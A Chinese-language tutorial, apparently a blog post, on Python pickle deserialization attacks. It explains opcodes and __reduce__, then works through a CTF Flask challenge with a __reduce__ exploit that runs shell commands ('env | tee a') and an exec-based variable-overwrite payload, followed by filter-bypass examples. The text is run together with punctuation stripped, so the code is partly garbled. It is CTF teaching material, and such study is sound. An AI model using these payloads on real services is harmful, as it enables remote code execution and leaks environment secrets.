Pickle反序列化 📅 2026/6/30 22:57:14 pickle简介与PHP类似python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。python有另一个更原始的序列化包marshal现在开发时一般使用pickle。与json相比pickle以二进制储存不易人工阅读json可以跨语言而pickle是Python专用的pickle能表示python几乎所有的类型包括自定义类型json只能表示一部分内置类型且不能表示自定义类型。pickle实际上可以看作一种独立的语言通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高有的代码不能通过pickle序列化得到pickle解析能力大于pickle生成能力。其中这里有的代码通常涉及pickle协议中一些底层、特殊或非常规的操作它们超出了简单地“保存和恢复对象状态”的范畴直接操作栈和变量的底层指令pickle 的 opcode 包含了一系列用于操作虚拟机栈Stack和内存变量的指令这些指令在常规序列化中会被高层逻辑自动处理用户无法直接触发栈操作指令如PUSH、POP、DUP、SWAP等用于手动控制栈的内容。变量操作指令如STORE存储变量、LOAD加载变量、DELETE删除变量等可直接修改全局 / 局部变量而常规序列化只会保存对象属性不会主动修改变量。执行任意代码的指令pickle 包含REDUCE、GLOBAL、INST等指令配合特殊操作可执行任意 Python 代码但常规序列化仅会调用对象的__reduce__等方法不会主动构造恶意或非常规的代码执行逻辑例如通过GLOBAL指令加载os.system再通过CALL指令执行系统命令这种操作无法通过序列化普通对象实现。非常规对象或特殊结构的构造对于一些没有明确 “状态” 的对象或需要动态构造的特殊结构常规序列化无法生成对应的 opcode函数 / 类的动态修改直接修改函数的__code__属性或动态创建类的属性这类操作需要手动编写 opcode 实现。循环引用的特殊处理虽然 pickle 支持循环引用但手动编写 opcode 可更灵活地控制引用的创建顺序这是常规序列化无法做到的。pickle 协议的扩展或未公开指令pickle 的不同协议版本包含一些未被高层 API 使用的指令这些指令只能通过手动编写 opcode 调用例如Python 3.x 中新增的FRAME、MEMOIZE等指令用于优化序列化效率但常规序列化不会主动使用这些底层指令。object.reduce() 函数在开发时可以通过重写类的object.__reduce__()函数使之在被实例化时按照重写的方式进行。具体而言python要求object.__reduce__()返回一个(callable, ([para1,para2...])[,...])的元组每当该类的对象被unpickle时该callable就会被调用以生成对象该callable其实是构造函数。在下文pickle的opcode中R的作用与object.__reduce__()关系密切选择栈上的第一个对象作为函数、第二个对象作为参数第二个对象必须为元组然后调用该函数。其实R正好对应object.__reduce__()函数object.__reduce__()的返回值会作为R的作用对象当包含该函数的对象被pickle序列化时得到的字符串是包含了R的。什么是opcodepython的opcode是一组原始指令用于在python解释器中执行字节码。每个opcode都是一个标识符代表一种特定的操作或指令。在python中源代码首先被破译为字节码然后由解释器逐条执行字节码执行字节码指令。这些指令以opcode的形式存储在字节码对象中并由python解释器按顺序解释和执行。每个opcode都有其特定的功能用于执行不同的操作例如变量加载、函数调用、数值运算、控制流程等。python提供了大量的opcode以支持各种操作和语言特性。INSTi、OBJO、REDUCER都可以调用一个callable对象pickle由于有不同的实现版本在py3和py2中得到的opcode不相同。但是pickle可以向下兼容所以用v0就可以在所有版本中执行。import picklea{1: 1, 2: 2}print(f# 原变量{a!r})for i in range(6):print(fpickle版本{i},pickle.dumps(a,protocoli))pickle3版本的opcode示例# abcdb\x80\x03X\x04\x00\x00\x00abcdq\x00.# \x80协议头声明 \x03协议版本# \x04\x00\x00\x00数据长度4# abcd数据# q储存栈顶的字符串长度一个字节即\x00# \x00栈顶位置# .数据截止pickletools使用pickletools可以方便的将opcode转化为便于肉眼读取的形式import pickletoolsdatab\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1b1\nkey2b2q\x01\x85q\x02Rq\x03.pickletools.dis(data)pickle exp的简单demo这里举一道CTF例子[第十五届极客大挑战]ez_pythonimport base64import picklefrom flask import Flask, requestapp Flask(__name__)app.route(/)def index():with open(app.py, r) as f:return f.read()app.route(/calc, methods[GET])def getFlag():payload request.args.get(payload)pickle.loads(base64.b64decode(payload).replace(bos, b))return ganbadie!app.route(/readFile, methods[GET])def readFile():filename request.args.get(filename).replace(flag, ????)with open(filename, r) as f:return f.read()if __name__ __main__:app.run(host0.0.0.0)calc路由使用 pickle.loads 尝试反序列化处理后的字节串。如果这个字节串不是合法的序列化对象或者在反序列化过程中出现问题可能会引发错误。readFile路由打开这个文件名对应的文件进行读取并将文件内容返回给客户端。如果文件名不合法或者文件不存在可能会引发错误。#expimport osimport pickleimport base64class A():def __reduce__(self):#return (eval,(__import__(os).popen(ls / | tee a).read(),))return (eval,(__import__(os).popen(env | tee a).read(),))a A()b pickle.dumps(a)print(base64.b64encode(b))除了执行命令之外还可以进行变量覆盖import picklekey1 b321key2 b123class A(object):def __reduce__(self):return (exec,(key1b1\nkey2b2,))a A()pickle_a pickle.dumps(a)print(pickle_a)pickle.loads(pickle_a)print(key1, key2)基于opcode绕过字节码过滤对于一些题会对传入的数据进行过滤例如1.if bR in code or bbuilt in code or bsetstate in code or bflag in code2.a base64.b64decode(session.get(ser_data)).replace(bbuiltin, bBuIltIn).replace(bos, bOs).replace(bbytes, bBytes) if bR in a or bi in a or bo in a or bb in a:这个时候考虑用用到opcodePython中的pickle更像一门编程语言一种基于栈的虚拟机